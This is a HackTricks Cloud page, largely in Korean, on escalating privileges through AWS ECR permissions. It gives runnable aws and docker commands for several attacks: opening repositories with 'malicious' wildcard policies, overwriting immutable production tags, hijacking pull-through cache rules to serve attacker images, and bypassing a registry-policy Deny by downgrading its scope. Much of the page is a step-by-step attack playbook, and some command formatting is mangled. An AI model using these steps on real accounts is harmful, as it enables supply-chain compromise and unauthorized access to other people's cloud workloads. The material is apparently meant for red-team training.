AWS - ECR Privesc
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
ecr:GetAuthorizationToken 및 ecr:BatchGetImage 권한을 가진 공격자는 ECR에 로그인하고 이미지를 다운로드할 수 있습니다.
For more info on how to download images:
Potential Impact: 트래픽에서 민감한 정보를 가로채 간접적인 privesc를 유발할 수 있습니다.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
위의 모든 권한을 가진 공격자는 ECR에 로그인하고 이미지를 업로드할 수 있습니다. 이는 해당 이미지가 사용되는 다른 환경으로 권한을 상승시키는 데 유용할 수 있습니다.
또한, ecr:PutImage는 해당 태그 아래에 다른 이미지 매니페스트를 업로드하여 기존 태그(예: stable / prod)를 덮어쓸 수 있습니다, 결과적으로 태그 기반 배포를 탈취하게 됩니다.
이것은 다운스트림 소비자들이 태그로 배포하고 태그 변경 시 자동 갱신을 하는 경우에 특히 큰 영향을 미칩니다. 예:
- Lambda container image functions (
PackageType=Image)가.../repo:stable을 참조하는 경우 - ECS services / Kubernetes workloads가
repo:prod를 풀링하는 경우 (digest pinning 없이) - ECR 이벤트로 재배포되는 모든 CI/CD
이러한 경우 태그 덮어쓰기는 소비자 환경에서 원격 코드 실행으로 이어질 수 있으며, 해당 워크로드에서 사용하는 IAM 역할(예: secretsmanager:GetSecretValue 권한이 있는 Lambda 실행 역할)로의 권한 상승을 초래할 수 있습니다.
To learn how to upload a new image/update one, check:
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
이전 섹션과 동일하지만 public 리포지토리용입니다.
ecr:SetRepositoryPolicy
이 권한을 가진 공격자는 리포지토리 정책을 변경하여 자신(또는 모든 사용자)에게 읽기/쓰기 접근 권한을 부여할 수 있습니다.
예를 들어, 아래 예제에서는 모든 사용자에게 읽기 권한이 부여되어 있습니다.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
다음은 my-policy.json의 내용입니다:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
이전 섹션과 같지만 공개 저장소에 대한 것입니다.
공격자는 ECR Public repository의 리포지토리 정책을 수정하여 무단 공개 접근을 허용하거나 권한을 상승시킬 수 있습니다.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
잠재적 영향: ECR Public 리포지토리에 대한 무단 공개 접근을 허용하여, 모든 사용자가 이미지를 push, pull 또는 삭제할 수 있습니다.
ecr:PutRegistryPolicy
이 권한을 가진 공격자는 레지스트리 정책을 변경하여 자신이나 자신의 계정(또는 심지어 모든 사용자)에게 읽기/쓰기 권한을 부여할 수 있습니다.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
ECR Pull Through Cache (PTC) 규칙을 악용해 공격자가 제어하는 upstream 네임스페이스를 신뢰되는 private ECR 접두사로 매핑할 수 있습니다. 이렇게 하면 private ECR에 이미지를 푸시하지 않고도 private ECR에서 이미지를 가져오는 워크로드가 투명하게 공격자 이미지로 대체됩니다.
- 필요 권한: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public upstream을 사용할 경우: public 레포지토리 생성/푸시를 위해 ecr-public:*.
- 테스트된 upstream: public.ecr.aws
단계(예시):
- ECR Public에 공격자 이미지 준비
Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
신뢰되는 접두사를 public registry에 매핑하도록 private ECR에 PTC 규칙 생성 aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws
-
private ECR 경로를 통해 공격자 이미지 pull (private ECR로는 아무런 push를 하지 않음) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
잠재적 영향: 선택한 접두사 아래의 내부 이미지 이름을 탈취하여 공급망 침해를 일으킬 수 있습니다. 해당 접두사를 사용해 private ECR에서 이미지를 가져오는 모든 워크로드는 공격자가 제어하는 콘텐츠를 받게 됩니다.
ecr:PutImageTagMutability
이 권한을 악용하면 태그 불변 설정(tag immutability)이 있는 리포지토리를 mutable로 전환하고 신뢰된 태그(예: latest, stable, prod)를 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.
- 필요 권한:
ecr:PutImageTagMutability및 푸시 권한(ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage). - 영향: 태그 이름을 변경하지 않고도 불변 태그를 은밀히 교체하여 공급망 침해를 초래할 수 있습니다.
단계(예시):
mutability 전환으로 불변 태그를 오염시키기
```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```ROOT Pull-Through Cache 규칙을 통한 글로벌 레지스트리 하이재킹
특수한 ecrRepositoryPrefix=ROOT를 사용해 Pull-Through Cache (PTC) 규칙을 생성하여 private ECR 레지스트리의 루트를 upstream public registry(예: ECR Public)에 매핑할 수 있습니다. private 레지스트리에 존재하지 않는 리포지토리에 대한 모든 pull은 upstream에서 투명하게 제공되어, private ECR에 이미지를 push하지 않고도 supply-chain hijacking이 가능합니다.
- 필요 권한:
ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken. - 영향:
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>로의 pull이 성공하고 upstream에서 소싱된 private repo가 자동으로 생성됩니다.
참고:
ROOT규칙의 경우--upstream-repository-prefix를 생략하세요. 지정하면 검증 오류가 발생합니다.
데모 (us-east-1, upstream public.ecr.aws)
```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws
2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
Example using an official mirror path hosted in ECR Public
(public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
3) Verify repo and image now exist without any push
aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]”
aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED
4) Cleanup
aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true
</details>
### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE`를 다운그레이드하여 registry policy Deny 우회)
`ecr:PutAccountSetting`을 악용하여 레지스트리 정책 범위를 `V2`(모든 ECR 작업에 적용되는 정책)에서 `V1`(`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`에만 적용되는 정책)로 전환합니다. 제한적인 레지스트리 정책의 Deny가 `CreatePullThroughCacheRule` 같은 작업을 차단하는 경우, `V1`로 다운그레이드하면 해당 강제력이 제거되어 identity‑policy의 Allows가 적용됩니다.
- 필요 권한: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- 영향: 레지스트리 정책 Deny 때문에 이전에 차단되었던 ECR 작업(예: PTC 규칙 생성)을 일시적으로 `V1`로 설정해 수행할 수 있음.
단계(예시):
<details>
<summary>`CreatePullThroughCacheRule`에서 registry policy Deny를 V1로 전환하여 우회</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

